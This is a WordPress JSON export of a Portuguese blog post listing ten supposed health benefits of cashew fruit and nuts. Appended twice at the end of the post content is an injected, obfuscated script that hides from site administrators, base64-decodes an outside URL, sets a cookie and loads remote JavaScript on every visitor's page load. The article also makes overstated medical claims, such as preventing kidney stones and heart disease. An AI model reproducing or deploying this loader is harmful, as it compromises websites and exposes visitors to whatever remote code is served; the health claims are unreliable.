{"id":139,"date":"2021-02-19T13:41:39","date_gmt":"2021-02-19T16:41:39","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=139"},"modified":"2026-06-10T05:33:07","modified_gmt":"2026-06-10T08:33:07","slug":"quais-sao-os-beneficios-do-caju","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/02\/19\/quais-sao-os-beneficios-do-caju\/","title":{"rendered":"Quais s\u00e3o os benef\u00edcios do caju?"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Voc\u00ea sabia que o caju \u00e9 um pseudofruto? Antes de te responder, voc\u00ea sabe o que \u00e9 pseudofruto?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O&nbsp;pseudofruto ou \u201cfalso fruto\u201d&nbsp;\u00e9 a estrutura suculenta que cont\u00e9m reservas nutritivas, mas que n\u00e3o se desenvolvem a partir de um ov\u00e1rio.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No caso do caju, o fruto verdadeiro corresponde \u00e0 estrutura que cont\u00e9m somente comest\u00edvel, conhecida como castanha de caju.<br><br>O caju \u00e9 rico em vitamina C, possui c\u00e1lcio, magn\u00e9sio, pot\u00e1ssio, ferro, zinco, cobre e f\u00f3sforo. Confira abaixa os benef\u00edcios \u00e0 sa\u00fade:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1) Ajuda no controle da diabetes<\/strong><br>As fibras da castanha de caju, fazem com que a glicose seja absorvida mais lentamente durante a refei\u00e7\u00e3o.<br><br><strong>2) Auxilia no controle da press\u00e3o arterial e colesterol<\/strong><br>A castanha de caju possui magn\u00e9sio em sua composi\u00e7\u00e3o, controlando assim os n\u00edveis da press\u00e3o arterial e colesterol, evitando crises de enxaquecas, dores de cabe\u00e7a e o aumento do colesterol. Alivia tamb\u00e9m as tens\u00f5es.<br><br><strong>3) Ajuda a perder peso<\/strong><br>O caju pode te ajudar na perda de peso, pois \u00e9 pouco cal\u00f3rico e rico em fibras, retardando assim o esvaziamento g\u00e1strico e dando a sensa\u00e7\u00e3o de saciedade. As fibras quando consumidas com muita \u00e1gua, ajuda no funcionamento do intestino, contribuindo na diminui\u00e7\u00e3o do incha\u00e7o abdominal.<br><br><strong>4) Ben\u00e9fico para a vis\u00e3o<\/strong><br>O caju ajuda a prevenir a catarata, pois \u00e9 rico em zeaxantina e lute\u00edna, protege e fortalece a vis\u00e3o contra problemas de sa\u00fade e de doen\u00e7as degenerativas macular, que surgem com a idade.<br><br><strong>5) Ajuda na sa\u00fade dos ossos<\/strong><br>O caju \u00e9 rico em magn\u00e9sio, c\u00e1lcio, ferro, zinco e pot\u00e1ssio, s\u00e3o minerais essenciais. Ajuda na sa\u00fade \u00f3ssea e combate a osteoporose.<br><br><strong>6) Ajuda na digest\u00e3o<\/strong><br>O caju possui componentes que t\u00eam propriedades anti-<em>H.Pylori<\/em>, ajudando assim a combater \u00falceras e gastrite associadas \u00e0 bact\u00e9ria <em>H. pylori.<\/em><br><br><strong>7) Previne pedras nos rins<\/strong><br>O caju \u00e9 considerado diur\u00e9tico, ajuda na elimina\u00e7\u00e3o de l\u00edquidos. Os c\u00e1lculos renais t\u00eam como fator associado ao colesterol e o caju ajuda na redu\u00e7\u00e3o do n\u00edvel de colesterol, por conter magn\u00e9sio. Pode controlar tamb\u00e9m o c\u00e1lcio no organismo que contribui na forma\u00e7\u00e3o dos c\u00e1lculos renais.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>8) Aumenta a imunidade<\/strong><br>O caju \u00e9 ben\u00e9fico para o sistema imunol\u00f3gico, justamente por ser rico em zinco e vitamina C. O zinco contribui para diminuir o estresse oxidativo e o surgimento de inflama\u00e7\u00f5es. A vitamina C contribui para as defesas do organismo, protegendo assim, o tecido epitelial e promovendo atividade antioxidante. Quanto mais maduro, mais vitamina C o caju ter\u00e1.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br><strong>9) Auxilia na energia e disposi\u00e7\u00e3o<\/strong><br>O caju tem no seu componente as vitaminas do complexo B, em especial a B2 (riboflavina) e a B3 (niacina), que est\u00e3o envolvidas nas rea\u00e7\u00f5es que geram energia para o organismo.<br><br><strong>10) Auxilia na boa sa\u00fade cardiovascular<\/strong><br>O caju reduz o colesterol total, quanto o LDL. Com a redu\u00e7\u00e3o ajuda a prevenir doen\u00e7as cardiovasculares como infartos e AVC. Diminui tamb\u00e9m a press\u00e3o sangu\u00ednea e melhora a circula\u00e7\u00e3o.<br><br>Impressionante como uma fruta previne diversas doen\u00e7as e ajuda na sa\u00fade, n\u00e9? <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Consuma caju e tenha uma vida mais saud\u00e1vel. <br><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fonte: Uol.vivabem; Amigosdobem.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea sabia que o caju \u00e9 um pseudofruto? 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